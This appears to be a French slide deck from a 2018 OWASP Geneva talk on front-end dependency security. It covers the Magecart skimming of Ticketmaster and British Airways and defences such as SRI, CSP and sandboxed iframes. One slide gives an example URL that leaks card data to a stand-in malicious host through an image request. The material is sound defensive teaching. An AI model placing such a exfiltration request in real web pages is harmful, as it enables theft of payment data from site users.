Une gestion plus sécurisée des dépendances front-end

Jérémy MATOS

OWASP Genève – 11/12/2018

Agenda

- Le cas Ticketmaster
- Rappels *Same Origin Policy*
- Solutions round 1

- Le cas British Airways
- Solutions round 2

- Discussion ouverte sur vos processus actuels pour gérer les dépendances front-end

Le cas Ticketmaster 1/2

- Le 23 Juin 2018 Ticketmaster annonce que les données de carte bancaire ont été dérobées
  - pour environ 40 000 utilisateurs
  - notamment au Royaume-Uni
  - Potentiellement depuis le mois de février

- Analyse forensique démontre
  - Qu'il ne s'agit pas d'une attaque
    - ni sur la base de données Ticket Master
    - ni chez le prestataire de paiement
  - Mais dans un javascript hébergé par un *3rd party*

  => Nous sommes en dehors du cadre de la norme PCI DSS

Le cas Ticketmaster 2/2

- Inbenta
  - Provider de services d'intelligence artificielle (AI)
  - Héberge un script écrit sur mesure pour Ticketmaster
    - Ce script est inclus sur la page de paiement de Ticketmaster
    - Sans qu'Inbenta ne soit au courant

- Attaque
  - 1. Groupe de pirates *Magecart* infiltre le serveur d'Inbenta (depuis fin 2016)
  - 2. Ils ajoutent une fonctionnalité de *card skimmer* dans le javascript

    => Dès que des clients entrent les informations de carte bancaire sur la page de paiement TicketMaster, *Magecart* en reçoit une copie sur URL du genre *webfotce.me*
  - Analyse détaillée disponible: https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/

Rappels *Same Origin Policy*

- Une page web peut librement inclure des ressources statiques depuis d'autres domaines
  - Images, javascript, CSS, etc
  - Principe des CDNs
- Filtrage par URL d'origine
  - Protocole + hôte + port
  - Code *javascript* ne pourra accéder au contenu de la page que si l'origine est la même
  - Protège d'un javascript sur toto.com tentant d'accèder au contenu d'un onglet ouvert sur facebook.com
- Les cookies *HttpOnly* ne sont jamais accessibles depuis du javascript

Solutions round 1 1/2

Pour les pages demandant des informations sensibles

- A. Ne jamais inclure de javascript 3rd party
  - comme ils sont inclus depuis une page dans le domaine d'origine, ces scripts ont accès à tout le contenu de la page
  - ils peuvent facilement exfiltrer les informations, e.g http://malicious.com/img1.jpg?cbInfo=stolen

=> Héberger ces scripts sur le même domaine

- B. Ou les embarquer dans un iframe avec l'attribut *sandbox*
  - Permet un *whitelisting* des actions autorisées depuis cet iframe

Solutions round 1 2/2

- C. Ou s'assurer de leur intégrité via Subresource Integrity (SRI)
  - Attribut *integrity* dans la page principale pour les liens externes
  - Contient le hash du contenu attendu pour cette ressource

  => Nécessite de calculer ces hashs avant le déploiement
- D. Ou limiter la complexité de telles pages
  - Les pages de paiement par CB sont en général minimalistes
- E. Autres suggestions ?

Le cas British Airways 1/2

- Le 6 Septembre 2018 British Airways annonce que les données personnelles et de paiement ont pu être dérobées
  - pour environ 380 000 utilisateurs
  - du 21 Août au 6 Septembre
  - depuis le site web et l'application mobile

- Analyse forensique démontre
  - Qu'il ne s'agit pas d'une attaque
    - ni sur la base de données British Airways
    - ni chez le prestataire de paiement
  - Mais dans un javascript hébergé par British Airways: *Modernizr*

Le cas British Airways 2/2

- Attaque
  - 1. Groupe de pirates *Magecart* infiltre le serveur web de British Airways au plus tard le 21 Août
  - 2. Ils ajoutent une fonctionnalité de *card skimmer* dans *Modernizr*

    => Dès que des clients entrent les informations de carte bancaire, *Magecart* en reçoit une copie sur URL du genre *baways.com*
  - Analyse détaillée disponible: https://www.riskiq.com/blog/labs/magecart-british-airways-breach/

- Application mobile aussi touchée: *WebView* du site infecté

Solutions round 2 1/2

- Cette fois Magecart peut modifier directement le code de la page web
  - A: ne s'applique pas, on est sur le même domaine
  - B: il leur suffit d'effacer l'attribut sandbox
  - C: idem pour l'attribut integrity
  - D: ils sont libres de complexifier (discrètement la page)

- Que nous reste-t-il ?

Solutions round 2 2/2

- F. Content Security Policy (CSP)
  - Directives de *whitelisting* au niveau de la page des actions autorisées
  - Applicable si ces directives sont ajoutées par un composant ou équipement réseau non sous le contrôle de *Magecart*
- G. Obfuscation et mécanismes *anti-tampering*
  - Le code javascript est rendu inintelligible pour rendre l'attaque plus longue à implémenter
    - Se donner du temps pour la détection d'intrusion
  - Il vérifie lui même s'il n'a pas été modifié
  - e.g. Jscrambler (https://jscrambler.com/)
- H. Autres suggestions ?

Discussion sur l'intégration

- Packaging des javascripts dans le script de build
  - Comment s'assurer que l'on récupère une version propre ?
  - Impact performances
    - Pour l'utilisateur final
    - Pour l'équipe de développement et le serveur CI/CD
- Comment rester à jour ?
  - Veille ?
  - Défi Subresource Integrity et modifications chez les CDNs
- Content Security Policy et testing
  - Idem pour l'iframe sandboxing